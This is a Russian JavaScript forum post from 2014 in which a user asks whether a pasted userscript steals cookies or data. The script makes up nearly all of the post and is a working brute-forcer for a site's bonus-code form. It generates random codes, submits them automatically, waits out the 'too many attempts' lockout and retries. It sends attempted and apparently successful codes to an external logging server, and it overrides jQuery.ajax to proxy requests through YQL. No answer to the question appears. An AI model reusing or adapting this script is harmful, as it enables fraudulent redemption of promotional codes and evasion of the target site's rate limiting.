Javascript.RU

Создать новую тему Ответ
 
Опции темы Искать в теме
  #1 (permalink)  
Старый 18.02.2014, 01:18
Интересующийся
Отправить личное сообщение для kot197676 Посмотреть профиль Найти все сообщения от kot197676
 
Регистрация: 18.02.2014
Сообщений: 11

Безопасость пользователя
Обьясните чайнику где здесь ссылки на куки если они есть?Может ли данный скрипт воровать данные с компьютера?
// ==/UserScript==
var your_url = 'http://site.com/system_brut.php'; //ссылка на файл на хостинге который работает с БД
var your_url2 = 'http://site.com/text_log.php'; //ссылка на файл на хостинге который записывает лог в файл

jQuery.ajax = (function(_ajax) {

var protocol = location.protocol,
hostname = location.hostname,
exRegex = RegExp(protocol + '//' + hostname),
YQL = 'http' + (/^https/.test(protocol) ? 's' : '') + '://query.yahooapis.com/v1/public/yql?callback=?',
query = 'select * from html where url="{URL}" and xpath="*"';

function isExternal(url) {
return !exRegex.test(url) && /:\/\//.test(url);
}

return function(o) {

var url = o.url;

if (/get/i.test(o.type) && !/json/i.test(o.dataType) && isExternal(url)) {

// Manipulate options so that JSONP-x request is made to YQL

o.url = YQL;
o.dataType = 'json';

o.data = {
q: query.replace(
'{URL}',
url + (o.data ?
(/\?/.test(url) ? '&' : '?') + jQuery.param(o.data) : '')
),
format: 'xml'
};

// Since it's a JSONP request
// complete === success
if (!o.success && o.complete) {
o.success = o.complete;
delete o.complete;
}

o.success = (function(_success) {
return function(data) {

if (_success) {
// Fake XHR callback.
_success.call(this, {
responseText: (data.results[0] || '')
// YQL screws with <script>s
// Get rid of them
.replace(/<script[^>]+?\/>|<script(.|\s)*?\/script>/gi, '')
}, 'success');
}

};
})(o.success);

}

return _ajax.apply(this, arguments);

};

})(jQuery.ajax);

function waitForJquery() {
if (typeof unsafeWindow.jQuery == 'undefined') {
window.setTimeout(waitForJquery, 100);
} else {
$ = unsafeWindow.jQuery;
//your code here
}
}

waitForJquery();

var testcode = '',
format = '',
runTimes = 0,
codes = {},
letters = ['A', 'E', 'B', 'C', 'D', 'F', 'G', 'H', 'K', 'M', 'N', 'P', 'R', 'S', 'T', 'V', 'W', 'X', 'Z', 'U', 'Y'],
i = 0,
dateSend = new Date(),
dateChek = new Date(),
used_codes = '';

$('body').bind('code:generate', function(e) {
if (format == '')
format = $('#id_code').val();
var regLet = new RegExp("n{1}"),
regDig = new RegExp("x{1}");
testcode = format;
var tempcodes = {}, tmp = '';
while (regLet.test(testcode)) {
tmp = letters[Math.floor(Math.random() * (letters.length))];
if (tempcodes[tmp] != true) {
tempcodes[tmp] = true;
testcode = testcode.replace(regLet, tmp);
}
}

var tempcodes = {}, tmp = '';
while (regDig.test(testcode)) {
tmp = (2 + Math.floor(Math.random() * 8)).toString();
if (tempcodes[tmp] != true) {
tempcodes[tmp] = true;
testcode = testcode.replace(regDig, tmp);
}
}
if (typeof(codes[testcode]) == undefined || codes[testcode] != true) {
codes[testcode] == true;
$('#id_code').val(testcode);
//$('body').prepend(testcode+ ' :: ' +'Попытка ввода'+'<br>');

}
});
$('body').bind('code:check', function(e) {
var text = $('.b-message-error-text').text();

switch (text) {
case "Неверный код.":
case "Incorrect code.":
case "":
case " ": {
i++;
$('#farm #bad').html("Неверных кодов: " + i + "<br> Последний: " + testcode);
$('body').trigger('code:gen5codes');
break;
};
case "Too many bonus code activation attempts. Please try again in 10 min.":
case "Вы слишком часто пытались активировать бонус-код. Функция будет недоступна в течение 10 мин.": {
var dateTemp = new Date();
dateTemp = dateTemp.getHours() + ":" + dateTemp.getMinutes() + ":" + dateTemp.getSeconds();
$('#farm #norm').prepend(testcode + '(' + dateTemp +') :: ' + text + '<br>');
var posting = $.post(your_url, {
dcode: testcode
});
setTimeout(function() {
$('body').trigger('code:gen5codes');
}, (1000 * 60 * 10)); //ждем 10 минут =(
break;
};
case "Сервер временно недоступен, повторите попытку позже.":
case "Превышено время ожидания, попробуйте ещё раз.":
case "Connection timed out, please try again.":
case "Server temporarily unavailable. Please try again later.": {
var posting = $.post(your_url, {
dcode: testcode
});
$('#farm #norm').prepend(testcode + ' :: ' + text + '<br>');
$('body').trigger('code:gen5codes');
break;
};
default: {
var posting = $.post(your_url2, {
gcode: (testcode + ' :: ' + text)
});
$('#farm #norm').prepend(testcode + ' :: ' + text + '<br>');
$('body').trigger('code:gen5codes');
break;
};
};

})
$('body').bind('code:send', function(e) {
$("#button-submit").click();
$("#js-edit-bonuscode-form").submit();
});
$('body').bind('code:clear', function(e) {
$('#id_code').val('');
});
$('body').bind('code:wait10min', function(e) {
setTimeout(function() {
$('body').trigger('code:gen5codes');
}, (1000 * 48));//время ожидания в милисекундах, 48*1000 означает 48 секунд
$('#id_code').val('');
});
$('body').bind('code:gen5codes', function() {
if (runTimes > 0) {
$('body').trigger('code:wait10min');
runTimes = 0;
return true;
} else {
runTimes++;
}
$('body').trigger('code:generate');
$.ajax({
url: your_url,
type: 'GET',
data: { code: testcode },
success: function(res) {
used_codes = res.responseText;
used_codes = used_codes.substring(used_codes.indexOf('<div id="list">')+15, used_codes.indexOf('</div>'));
if ( used_codes.indexOf("yes_code") != -1 ) {
$('body').trigger('code:clear');
runTimes = 0;
$('body').trigger('code:gen5codes');
} else {
if ( (used_codes.indexOf("yes_code") == -1) && (used_codes.indexOf("no_code") == -1)) {
$('#farm #codee').prepend(testcode + ' :: Потеряно соединение с БД<br>');
};
dateSend = new Date();
$('body').trigger('code:send');
setTimeout(function() {
$('body').trigger('code:clear');
$('body').trigger('code:check');
}, 3400);
};
}
});
});
$('body').dblclick(function() {
$('body').prepend('<div id="farm" style="z-index: 1011; background: rgba(255,255,255,0.5); width: 400px; top: 0; position: absolute;left: 0;color: #000;line-height: 1.5em;font-weight: bold;"><div id="bad"></div><div id="norm" style="max-height: 100px; overflow-y: scroll;"></div><div id="codee" style="max-height: 100px; overflow-y: scroll;"></div></div>');
$('body').trigger('code:gen5codes');
var timer = setInterval(function() {
dateChek = new Date();
var normDate = dateChek.getTime() - dateSend.getTime();
if ( normDate > (12 * 60 * 1000) ) {
$('body').trigger('code:gen5codes');
};
}, 61 * 1000);
});

Последний раз редактировалось kot197676, 21.02.2014 в 01:00.
Ответить с цитированием
Ответ



Опции темы Искать в теме
Искать в теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Имя пользователя 1972andrew Общие вопросы Javascript 1 07.02.2014 11:28
Как сделать чтобы sertimeout срабатывал 1 раз за все время перебывания пользователя Albinos4210 Events/DOM/Window 11 17.05.2013 17:23
Валидация пользователя по IP-адресу lazerru Общие вопросы Javascript 1 03.04.2013 12:40
Определение языка пользователя bur85 AJAX и COMET 6 05.07.2011 13:36
Куплю cd диск приложение к книге Гудмана "Библия пользователя javascript"- 5-е издани Иваннн Javascript под браузер 4 19.06.2010 01:00